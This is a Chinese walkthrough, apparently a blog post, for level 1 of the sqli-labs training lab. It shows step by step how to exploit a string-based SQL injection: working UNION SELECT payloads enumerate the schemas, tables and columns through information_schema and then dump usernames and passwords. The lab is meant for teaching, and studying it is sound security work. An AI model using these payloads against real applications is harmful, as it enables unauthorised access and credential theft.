sqli-labs第一关

第一关如图
首先可以判断这里接受的是一个GET请求,先在1后面加一个' 发现报错,说明这里没有过滤掉引号,所以这里是一个注入点

SQL注入通常有两种类型,整形注入和字符型注入,那么判断这里是哪种注入就要分析这里的报错语句,报错信息中共有5个单引号,"实际上是两个单引号,最外面的两个是报错信息的提示引号,'1 '两边的引号是后台代码的引号,多出来的就是我们加上的,因为这里给输入的1加上了引号所以后台接受的是字符型,那么我们在后续的注入中需要加 '来闭合后面的引号。

接下来需要判断表中有几列,通常使用order by加数字 1 2 3 4 一直试 直到报错为之,这里我们发现4报错了,所以这里有3列

id=1'  order by 4 --+ 
接下来我们需要判断这里的回显位置,因为有三列,所以我们用 id=-1'  union select 1,2,3 --+ 发现在2,3的地方可以显示出来,所以我们可以用SQL语句替代 2或者 3或者两者 来达到我们的注入目的。----这里的id=-1是取随机一个不存在的id。

可以看一下sql执行过程

mysql> SELECT * FROM users WHERE id='1' union select 1,2,3 --;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | 3        |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> SELECT * FROM users WHERE id='-1' union select 1,2,3 --;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

我们这里选择在2的位置放上SQL语句
接下来我们需要查看库名

id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

 

group_concat() 函数:用于将SQL语句的结果拼接在一起,如果我们的查询结果多于一个就需要将这些结果拼接出来,大家可以试一试,如果这里不使用group函数会报错,提示输出结果多于一行(博客有文章专门写过这个函数。)

information_schema 库:这个库是在MySql 5.0之后的一个库,用来存放整个数据库的信息,里面可以查询到 所有的库名,表名,列名。

mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| INNODB_BUFFER_PAGE                    |
| INNODB_TRX                            |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_LOCK_WAITS                     |
| INNODB_CMPMEM                         |
| INNODB_CMP                            |
| INNODB_LOCKS                          |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_RESET                      |
| INNODB_BUFFER_PAGE_LRU                |
+---------------------------------------+
40 rows in set (0.00 sec)

可以看到这里有很多表,比如 schemata,columns之类的都是我们接下来要用的

查询完库名,需要查看security库中的表名

id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

发现有一个users表

查询表中的列名

id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

查询用户名字:

id=-1' union select 1,(select group_concat(username) from security.users),3 --+

查询用户密码:

id=-1' union select 1,(select group_concat(password) from security.users),3 --+

 

大概就这些......

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注